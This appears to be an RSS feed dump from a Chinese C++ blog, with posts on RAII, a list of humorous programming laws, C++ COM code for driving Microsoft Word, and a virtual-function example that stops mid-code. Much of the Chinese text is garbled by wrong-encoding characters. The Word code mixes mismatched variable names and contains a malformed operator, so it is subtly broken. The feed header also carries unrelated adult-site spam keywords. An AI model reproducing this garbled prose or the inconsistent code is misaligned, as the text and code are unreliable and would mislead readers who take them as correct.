??xml version="1.0" encoding="utf-8" standalone="yes"?>久久久久AV综合网成人,久久99热只有频精品8,亚洲午夜久久久久久噜噜噜http://m.shnenglu.com/codeart/codeArtzh-cnMon, 30 Jun 2025 07:27:56 GMTMon, 30 Jun 2025 07:27:56 GMT60RAII是什么?来源于金庆的专栏http://m.shnenglu.com/codeart/archive/2010/11/06/132675.htmlcodeArtcodeArtSat, 06 Nov 2010 09:30:00 GMThttp://m.shnenglu.com/codeart/archive/2010/11/06/132675.htmlhttp://m.shnenglu.com/codeart/comments/132675.htmlhttp://m.shnenglu.com/codeart/archive/2010/11/06/132675.html#Feedback0http://m.shnenglu.com/codeart/comments/commentRss/132675.htmlhttp://m.shnenglu.com/codeart/services/trackbacks/132675.html摘自《Extended STL》中?/p>


RAIIQ资源获取即初始?/h1>

资源获取卛_始化QRAII, Resource Acquisition Is InitializationQ是指,当你获得一个资源的时候,不管q个资源是对象、内存、文件句柄或者其它什么,你都会在一个对象的构造函C获得它,q且在该对象的析构函C释放它。实现这U功能的c,我们p它采用了"资源获取卛_始化QRAIIQ?的方式。这Lcd常被UCؓ装cR?/p>

可以依据资源可变性和资源来源q两个特征,来对RAIIq行分类?/p>


资源可变?/h2>

如果一个封装类对其实例提供额外的功能,使得其实例能被赋予新资源Q这个类表现出的q种特征即称?可变的RAII"Q否则就?不可变的RAII"?/p>

不可变的RAIIQ是使用h最单的一U。说它简单,是因为在q种情况下,无需在封装类中提供用于指定资源的Ҏ--不管是新分配的资源,q是对其他资源进行拷贝。这URAIIq意味着Q类的析构函数L可以假定Q被装的资源是有效的?/p>

与此相反Q提供可变的RAII的类Q就需要实C列功能中的绝大部分,或者全部:~省的或者空的构造函敎ͼ拯构造函敎ͼ拯赋值操作,用于指定资源的方法。最重要的是Q这Lcd析构函数和Q何类似close()的方法中Q释放资源前Q都必须被装的资源是不是null?/p>


资源来源

对于提供RAII的类来说Q第二个重要的特征是Q它们通过什么途径获取自己所理的资源。以std::stringZ表的c,使用的是内部初始化的RAIIQ它理的资?-卛_存中用于保存字符的缓冲区--是由它自己创建的Q这一资源对外永远是不可见的。与此不同的是,以std::auto_ptrZ表的c表现出外部初始化的RAII行ؓQ它所理的资源,是用它的客L序(通过另外的某U方式获得之后)交给它的?/p>

内部初始化的RAII的封装类Q一般比较容易实玎ͼ但是功能上也比较受限Ӟ因ؓ它们获取资源的机制是预先定义好的Qƈ且是固定不变的。不q,q样的类用v来也Ҏ一些,或者说Q比较难被误用:因ؓ客户代码几乎没有Z犯下能导致资源泄露的错误?/p>

codeArt 2010-11-06 17:30 发表评论
]]>
~程法则(转自oschina.net)有意?/title><link>http://m.shnenglu.com/codeart/archive/2010/09/30/128159.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Thu, 30 Sep 2010 15:42:00 GMT</pubDate><guid>http://m.shnenglu.com/codeart/archive/2010/09/30/128159.html</guid><wfw:comment>http://m.shnenglu.com/codeart/comments/128159.html</wfw:comment><comments>http://m.shnenglu.com/codeart/archive/2010/09/30/128159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/codeart/comments/commentRss/128159.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/codeart/services/trackbacks/128159.html</trackback:ping><description><![CDATA[<ol> <li> ME序一旦部|即N旧? </li> <li> 修改需求规范来适应E序比反q来做更Ҏ? </li> <li> 一个程序如果很有用Q那它注定要被改掉? </li> <li> 一个程序如果没用,那它一定会有很好的文? </li> <li> ME序里都仅仅只有10%的代码会被执行到? </li> <li> 软g会一直膨胀到耗尽所有资源ؓ止? </li> <li> M一个有点h值的E序里都会有臛_一个bug? </li> <li> 原型完美的程度跟审视的h数成反比Q反比g随着涉及的资金数增大? </li> <li> 软g直到被变成品运行至?个月后,它最严重的问题才会被发现? </li> <li> 无法到的错误的形式无限多样Q而能被检到的正好相反,被定义了的十分有限? </li> <li> 修复一个错误所需要投入的努力会随着旉成指数增加? </li> <li> 软g的复杂度会一直增加,直到出l护q个E序的h的承受能力? </li> <li> M自己的程序,几个月不看,形同其他人写的? </li> <li> M一个小E序里面都有一个巨大的E序蠢蠢Ʋ出? </li> <li> ~码开始的早Q花费的旉长? </li> <li> 一个粗心的目计划会让你多?倍的旉d成;一个细心的目计划只会让你多花2倍的旉? </li> <li> 往大型目里添加h手会佉K目更延迟? </li> <li> 一个程序至会完成90%Q但永远完成不了过95%? </li> <li> 如果你想ȝ被自动处理掉Q你得到的是自动产生的麻烦? </li> <li> 开发一个傻瓜都会用的软gQ只有傻瓜愿意用它? </li> <li> 用户不会真正的知道要在Y仉做些什么,除非使用q? </li> </ol><img src ="http://m.shnenglu.com/codeart/aggbug/128159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-09-30 23:42 <a href="http://m.shnenglu.com/codeart/archive/2010/09/30/128159.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c++操作word接口http://m.shnenglu.com/codeart/archive/2010/08/31/125430.htmlcodeArtcodeArtTue, 31 Aug 2010 11:35:00 GMThttp://m.shnenglu.com/codeart/archive/2010/08/31/125430.htmlhttp://m.shnenglu.com/codeart/comments/125430.htmlhttp://m.shnenglu.com/codeart/archive/2010/08/31/125430.html#Feedback4http://m.shnenglu.com/codeart/comments/commentRss/125430.htmlhttp://m.shnenglu.com/codeart/services/trackbacks/125430.html?】开启word
_ApplicationPtr word_app;
HRESULT hr 
= word_app.CreateInstance("Word.Application", NULL); 
?】新Z个文?br>
COleVariant vTrue((short)TRUE),vFalse((short)FALSE),vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
DocumentsPtr docs;
_DocumentPtr oDoc;
docs 
= word_app->GetDocuments();
doc 
= docs->Add(vOpt, vOpt, vOpt, vOpt);  
?】设|文档的面布局
PageSetupPtr page_setup = doc->GetPageSetup();
page_setup
->PutTopMargin(0);
page_setup
->PutBottomMargin(0);
page_setup
->PutRightMargin(0);
page_setup
->PutLeftMargin(0);
?】插入文?br>
SelectionPtr selection;
selection 
= word_app->GetSelection();
_ParagraphFormatPtr parafmt 
= selection->GetParagraphFormat();
parafmt
->PutLineSpacingRule(wdLineSpaceExactly);
parafmt
->PutLineSpacing(50);
_FontPtr font;
font 
= oSel->GetFont();
font
->PutBold(1);
font
->PutColor(wdColorGreen);
font
->PutSize(20);
font
->PutName(_T("宋体"));
selection
->TypeText("ABC");
oSel
->TypeParagraph();
oSel
->TypeText("12345678901234567890");
oSel
->TypeParagraph();
?】插入文本框
ShapesPtr shapes = doc->GetShapes();
ShapePtr textbox 
=  shapspp->AddTextbox(Office::msoTextOrientationHorizontal, 11100100);
?】文本框中插入文?br>
 1ShapesPtr shapes = doc->GetShapes();
 2ShapePtr textbox =  shapspp->AddTextbox(Office::msoTextOrientationHorizontal, 11100100);
 3TextFramePtr textframe = textbox->GetTextFrame();
 4RangePtr range = textframe->GetTextRange();
 5long insert_before_count = range->Characters->GetCount();
 6range->InsertAfter("TEXT");
 7if (insert_before_count != 1)
 8    range->MoveStart(COleVariant((long)Word::wdCharacter), COleVariant(insert_before_count-1));
 9if(range != 0)
10{
11    _FontPtr font = range->GetFont();
12    font->PutBold(isBold);
13    font->PutItalic(isItalic);
14    font->PutColor((Word::WdColor)FontColor());
15    font->PutSize(FontSize);
16    font->PutName(FontType().c_str());
17}
?】设|文本框的属?br>
1textbox->GetTextFrame()->PutAutoSize(Office::msoAutoShape);
2textbox->GetTextFrame()->PutMarginBottom(0);
3textbox->GetTextFrame()->PutMarginTop(0);
4textbox->GetTextFrame()->PutMarginLeft(0);
5textbox->GetTextFrame()->PutMarginRight(0);
6textbox->GetLine()->PutVisible(Office::msoFalse);
7textbox->GetFill()->PutTransparency(1);
?】插入图片,q里需要注意,必须得先用InlineShape,q样可以把图片插入到指定的页中,不然Q所有的囄只在W一c?br>
 1ShapesPtr shapes = m_WordDoc->GetShapes();
 2InlineShapesPtr inline_shapes = selection_doc->GetRange()->GetInlineShapes();
 3InlineShapePtr inline_shape = inline_shapes->AddPicture(“picture_path”, COleVariant((long)0), COleVariant((long)1));
 4ShapePtr shape = inline_shape->ConvertToShape();
 5shape->PutWidth(width);
 6shape->PutHeight(hehight());
 7shape->PutTop(Y);
 8shape->PutLeft(X);
 9if(shape->GetType() == Office::msoPicture)
10{
11    Word::WrapFormatPtr wrapp = shape->GetWrapFormat();
12    wrapp->PutType(Word::wdWrapBehind);
13}

14
?】插入直U?br>
1ShapesPtr shapes = doc->GetShapes();
2Word::ShapePtr line = shapes->AddLine(x1,y1, x2,y2);
3if (line->GetType() == Office::msoLine)
4{
5    Word::LineFormatPtr LineFmt = line->GetLine();
6    LineFmt->PutWeight(lr->weight_);
7}
?0】插入分隔符
selection->InsertBreak(COleVariant((long)wdColumnBreak));
selection
->InsertBreak(COleVariant((long)wdSectionBreakContinuous));
selection
->InsertBreak(COleVariant((long)wdPageBreak));

?1】设|栏目个数和栏目的宽?br>q里一定要注意add函数的逻辑
1SectionsPtr word_sections = doc->GetSections();
2long num = word_sections->GetCount();
3SectionPtr word_section = word_sections->Item(num-1);
4PageSetupPtr page_setup = word_section->GetPageSetup();
5TextColumnsPtr text_cols = page_setup>GetTextColumns();
6text_cols->PutEvenlySpaced(0);
7text_cols->Add(COleVariant(col_width), COleVariant((long)0), COleVariant((long)false));
?2】插入表?br>
 1TablesPtr tables = oSel->GetTables();    
 2TablePtr table = tables->Add(oSel->GetRange(), 25);
 3    
 4BordersPtr bords = table->GetBorders();
 5bords->PutOutsideLineStyle(wdLineStyleSingle);
 6bords->PutInsideLineStyle(wdLineStyleSingle);
 7for (int i = 1; i<=2; i++)
 8{
 9    for (int j = 1; j<=5; j++)
10    {
11        table->Cell(i,j)->GetRange()->PutText("20");
12    }

13}

14
15CellPtr cell = table->Cell(1,1);
16cell->Merge(table->Cell(1,2));
?3】保存文ƈ退?br>
1COleVariant vTrue((short)TRUE),vFalse((short)FALSE),vOpt((long)DISP_E_PARAMNOTFOUND, VT_ERROR);
2_DocumentPtr active_doc; 
3active_doc = word_app->GetActiveDocument();
4active_doc->SaveAs(COleVariant("D:\\doc1.doc"), 
5                   COleVariant((short)0),
6                   vFalse, COleVariant(""), vTrue, COleVariant(""),
7                   vFalse, vFalse, vFalse, vFalse, vFalse);
8word_app->Quit(vOpt, vOpt, vOpt);
在word优秀的构架中q有许许多多的接口,上面只是举例实现一个普通的文Q希望对大家有用?

codeArt 2010-08-31 19:35 发表评论
]]>
C++的?/title><link>http://m.shnenglu.com/codeart/archive/2010/08/31/125326.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Mon, 30 Aug 2010 17:32:00 GMT</pubDate><guid>http://m.shnenglu.com/codeart/archive/2010/08/31/125326.html</guid><wfw:comment>http://m.shnenglu.com/codeart/comments/125326.html</wfw:comment><comments>http://m.shnenglu.com/codeart/archive/2010/08/31/125326.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/codeart/comments/commentRss/125326.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/codeart/services/trackbacks/125326.html</trackback:ping><description><![CDATA[<p> </p> <div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><span style="COLOR: #008080"> 1</span><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080"> 2</span><span style="COLOR: #000000"><img id=Codehighlighter1_11_246_Open_Image onclick="this.style.display='none'; Codehighlighter1_11_246_Open_Text.style.display='none'; Codehighlighter1_11_246_Closed_Image.style.display='inline'; Codehighlighter1_11_246_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_11_246_Closed_Image onclick="this.style.display='none'; Codehighlighter1_11_246_Closed_Text.style.display='none'; Codehighlighter1_11_246_Open_Image.style.display='inline'; Codehighlighter1_11_246_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_11_246_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_11_246_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080"> 3</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080"> 4</span><span style="COLOR: #000000"><img id=Codehighlighter1_31_32_Open_Image onclick="this.style.display='none'; Codehighlighter1_31_32_Open_Text.style.display='none'; Codehighlighter1_31_32_Closed_Image.style.display='inline'; Codehighlighter1_31_32_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_31_32_Closed_Image onclick="this.style.display='none'; Codehighlighter1_31_32_Closed_Text.style.display='none'; Codehighlighter1_31_32_Open_Image.style.display='inline'; Codehighlighter1_31_32_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_31_32_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_31_32_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 5</span><span style="COLOR: #000000"><img id=Codehighlighter1_46_47_Open_Image onclick="this.style.display='none'; Codehighlighter1_46_47_Open_Text.style.display='none'; Codehighlighter1_46_47_Closed_Image.style.display='inline'; Codehighlighter1_46_47_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_46_47_Closed_Image onclick="this.style.display='none'; Codehighlighter1_46_47_Closed_Text.style.display='none'; Codehighlighter1_46_47_Open_Image.style.display='inline'; Codehighlighter1_46_47_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #000000">~</span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_46_47_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_46_47_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 6</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080"> 7</span><span style="COLOR: #000000"><img id=Codehighlighter1_75_104_Open_Image onclick="this.style.display='none'; Codehighlighter1_75_104_Open_Text.style.display='none'; Codehighlighter1_75_104_Closed_Image.style.display='inline'; Codehighlighter1_75_104_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_75_104_Closed_Image onclick="this.style.display='none'; Codehighlighter1_75_104_Closed_Text.style.display='none'; Codehighlighter1_75_104_Open_Image.style.display='inline'; Codehighlighter1_75_104_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func1()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_75_104_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_75_104_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::func1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 8</span><span style="COLOR: #000000"><img id=Codehighlighter1_131_160_Open_Image onclick="this.style.display='none'; Codehighlighter1_131_160_Open_Text.style.display='none'; Codehighlighter1_131_160_Closed_Image.style.display='inline'; Codehighlighter1_131_160_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_131_160_Closed_Image onclick="this.style.display='none'; Codehighlighter1_131_160_Closed_Text.style.display='none'; Codehighlighter1_131_160_Open_Image.style.display='inline'; Codehighlighter1_131_160_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_131_160_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_131_160_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::func2\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080"> 9</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> ma;<br></span><span style="COLOR: #008080">10</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> mb;<br></span><span style="COLOR: #008080">11</span><span style="COLOR: #000000"><img id=Codehighlighter1_209_244_Open_Image onclick="this.style.display='none'; Codehighlighter1_209_244_Open_Text.style.display='none'; Codehighlighter1_209_244_Closed_Image.style.display='inline'; Codehighlighter1_209_244_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_209_244_Closed_Image onclick="this.style.display='none'; Codehighlighter1_209_244_Closed_Text.style.display='none'; Codehighlighter1_209_244_Open_Image.style.display='inline'; Codehighlighter1_209_244_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> member_func()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_209_244_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_209_244_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">base::member_func\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">12</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">13</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"><br></span><span style="COLOR: #008080">14</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> derive : </span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">15</span><span style="COLOR: #000000"><img id=Codehighlighter1_277_586_Open_Image onclick="this.style.display='none'; Codehighlighter1_277_586_Open_Text.style.display='none'; Codehighlighter1_277_586_Closed_Image.style.display='inline'; Codehighlighter1_277_586_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_277_586_Closed_Image onclick="this.style.display='none'; Codehighlighter1_277_586_Closed_Text.style.display='none'; Codehighlighter1_277_586_Open_Image.style.display='inline'; Codehighlighter1_277_586_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_277_586_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_277_586_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">16</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080">17</span><span style="COLOR: #000000"><img id=Codehighlighter1_299_300_Open_Image onclick="this.style.display='none'; Codehighlighter1_299_300_Open_Text.style.display='none'; Codehighlighter1_299_300_Closed_Image.style.display='inline'; Codehighlighter1_299_300_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_299_300_Closed_Image onclick="this.style.display='none'; Codehighlighter1_299_300_Closed_Text.style.display='none'; Codehighlighter1_299_300_Open_Image.style.display='inline'; Codehighlighter1_299_300_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    derive()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_299_300_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_299_300_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">18</span><span style="COLOR: #000000"><img id=Codehighlighter1_316_317_Open_Image onclick="this.style.display='none'; Codehighlighter1_316_317_Open_Text.style.display='none'; Codehighlighter1_316_317_Closed_Image.style.display='inline'; Codehighlighter1_316_317_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_316_317_Closed_Image onclick="this.style.display='none'; Codehighlighter1_316_317_Closed_Text.style.display='none'; Codehighlighter1_316_317_Open_Image.style.display='inline'; Codehighlighter1_316_317_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">derive()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_316_317_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_316_317_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">19</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">20</span><span style="COLOR: #000000"><img id=Codehighlighter1_345_376_Open_Image onclick="this.style.display='none'; Codehighlighter1_345_376_Open_Text.style.display='none'; Codehighlighter1_345_376_Closed_Image.style.display='inline'; Codehighlighter1_345_376_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_345_376_Closed_Image onclick="this.style.display='none'; Codehighlighter1_345_376_Closed_Text.style.display='none'; Codehighlighter1_345_376_Open_Image.style.display='inline'; Codehighlighter1_345_376_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func1()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_345_376_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_345_376_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">21</span><span style="COLOR: #000000"><img id=Codehighlighter1_403_434_Open_Image onclick="this.style.display='none'; Codehighlighter1_403_434_Open_Text.style.display='none'; Codehighlighter1_403_434_Closed_Image.style.display='inline'; Codehighlighter1_403_434_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_403_434_Closed_Image onclick="this.style.display='none'; Codehighlighter1_403_434_Closed_Text.style.display='none'; Codehighlighter1_403_434_Open_Image.style.display='inline'; Codehighlighter1_403_434_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_403_434_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_403_434_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">22</span><span style="COLOR: #000000"><img id=Codehighlighter1_461_492_Open_Image onclick="this.style.display='none'; Codehighlighter1_461_492_Open_Text.style.display='none'; Codehighlighter1_461_492_Closed_Image.style.display='inline'; Codehighlighter1_461_492_Closed_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_461_492_Closed_Image onclick="this.style.display='none'; Codehighlighter1_461_492_Closed_Text.style.display='none'; Codehighlighter1_461_492_Open_Image.style.display='inline'; Codehighlighter1_461_492_Open_Text.style.display='inline';" align=top src="http://m.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func4()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_461_492_Closed_Text><img src="http://m.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_461_492_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">23</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">24</span><span style="COLOR: #000000"><img align=top src="http://m.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> 